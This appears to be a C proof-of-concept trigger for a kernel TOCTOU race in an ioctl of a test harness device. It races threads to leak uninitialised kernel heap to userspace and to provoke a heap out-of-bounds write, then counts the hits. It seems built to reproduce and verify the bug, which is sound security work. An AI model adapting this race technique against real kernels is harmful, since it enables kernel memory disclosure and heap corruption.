/*
 * DF-0732 userspace trigger — detects BOTH manifestations of the TOCTOU.
 *
 * SHRINK RACE (info leak): lister reads as_nacls=N, flusher clears list,
 * lister walks 0 entries into uninit (no M_ZERO) kmalloc buffer of size
 * N*6, copyout ships N*6 bytes of uninit kernel heap to userland.
 * Detected: kernel returns ret_len=N*6 but actual list has 0 entries;
 * buffer contents are heap residue (0xFF if debug.use_malloc_pattern=1,
 * or stale slab data otherwise).
 *
 * GROW RACE (OOB write): lister reads as_nacls=N, adder grows list,
 * lister walks N+K entries into N-sized buffer => heap OOB write.
 * Detected: kernel panic from slab corruption (INVARIANTS).
 *
 * Usage: ./trigger [iterations] [threads]
 * Pre:   sysctl debug.use_malloc_pattern=1  (deterministic -1 fill)
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>

struct df0732_list_req {
	void	*buf;
	size_t	 len;
	size_t	*ret_len;
};
#define DF0732_IOCTL_LIST	_IOW('D', 1, struct df0732_list_req)

#define BUF_ENTRIES	8192
#define BUF_SIZE	(BUF_ENTRIES * 6)

static volatile unsigned long total_calls;
static volatile unsigned long leak_hits;
static volatile unsigned long grow_hits;
static volatile int stop_flag;
static int g_fd;

static int
is_known_mac(const unsigned char *p)
{
	/* Our adder uses de:ad:be:ef:XX:XX, pre-populate uses aa:bb:cc:dd:XX:XX */
	if (p[0] == 0xde && p[1] == 0xad && p[2] == 0xbe && p[3] == 0xef)
		return 1;
	if (p[0] == 0xaa && p[1] == 0xbb && p[2] == 0xcc && p[3] == 0xdd)
		return 1;
	return 0;
}

static void *
racer(void *arg)
{
	unsigned long iters = (unsigned long)arg;
	unsigned long n = 0;
	unsigned char *buf;

	buf = malloc(BUF_SIZE);
	if (buf == NULL)
		return NULL;

	while (!stop_flag) {
		struct df0732_list_req req;
		size_t ret_len = 0;
		size_t entries, i;
		int has_leak = 0;

		req.buf = buf;
		req.len = BUF_SIZE;
		req.ret_len = &ret_len;
		memset(buf, 0xAA, BUF_SIZE);

		if (ioctl(g_fd, DF0732_IOCTL_LIST, &req) < 0) {
			__sync_fetch_and_add(&total_calls, 1);
			if (++n >= iters) { stop_flag = 1; break; }
			continue;
		}
		__sync_fetch_and_add(&total_calls, 1);

		/* ret_len = number of bytes the kernel wrote = space = (old
		 * as_nacls) * 6.  If the shrink race fired, the kernel walked
		 * 0 entries but returned ret_len bytes of uninit heap. */
		if (ret_len > BUF_SIZE)
			ret_len = BUF_SIZE;
		entries = ret_len / 6;

		/* Check each 6-byte group.  Valid entries match our MAC
		 * prefixes.  Leaked entries contain heap residue:
		 * 0xFF (use_malloc_pattern) or stale slab data. */
		for (i = 0; i < entries; i++) {
			unsigned char *p = buf + i * 6;
			if (!is_known_mac(p)) {
				/* Check it's actually non-zero residue */
				if (p[0] | p[1] | p[2] | p[3] | p[4] | p[5]) {
					has_leak = 1;
					break;
				}
				/* 0xFFFFFFFF from use_malloc_pattern */
				if (p[0] == 0xFF && p[1] == 0xFF) {
					has_leak = 1;
					break;
				}
			}
		}

		if (has_leak) {
			unsigned long idx = __sync_fetch_and_add(&leak_hits, 1);
			if (idx < 8) {
				int j;
				fprintf(stderr,
					"[shrink-leak #%lu] ret_len=%zu entries=%zu "
					"first non-MAC at entry %zu, bytes:",
					idx + 1, ret_len, entries, i);
				for (j = 0; j < 6; j++)
					fprintf(stderr, " %02x", buf[i*6+j]);
				fprintf(stderr, "\n");
			}
		}

		/* Grow-race heuristic: the returned buffer starts with valid
		 * MACs but has an entry count that seems inconsistent.  Hard
		 * to detect from userspace without a panic; we count
		 * suspicious patterns. */
		if (entries > 0 && !is_known_mac(buf)) {
			/* First entry isn't a known MAC — the buffer may have
			 * been overwritten by an OOB write from the grow race. */
			__sync_fetch_and_add(&grow_hits, 1);
		}

		if (++n >= iters) {
			stop_flag = 1;
			break;
		}
	}
	free(buf);
	return NULL;
}

int
main(int argc, char **argv)
{
	unsigned long iters = (argc > 1) ? strtoul(argv[1], NULL, 0) : 1000000UL;
	int nthreads = (argc > 2) ? atoi(argv[2]) : 4;
	pthread_t *tids;
	int i;

	g_fd = open("/dev/df0732", O_RDWR);
	if (g_fd < 0) {
		perror("open /dev/df0732");
		fprintf(stderr, "Is harness_mod.ko loaded?  "
			"Run: kldload ./harness_mod.ko\n");
		return 1;
	}
	tids = calloc(nthreads, sizeof(*tids));
	for (i = 0; i < nthreads; i++)
		pthread_create(&tids[i], NULL, racer,
			(void *)(iters / nthreads + 1));
	for (i = 0; i < nthreads; i++)
		pthread_join(tids[i], NULL);
	printf("trigger: %lu LIST ioctls, %lu shrink-leak hits, "
	       "%lu grow-race hits, no panic\n",
	       total_calls, leak_hits, grow_hits);
	close(g_fd);
	return (leak_hits > 0 || grow_hits > 0) ? 0 : 2;
}
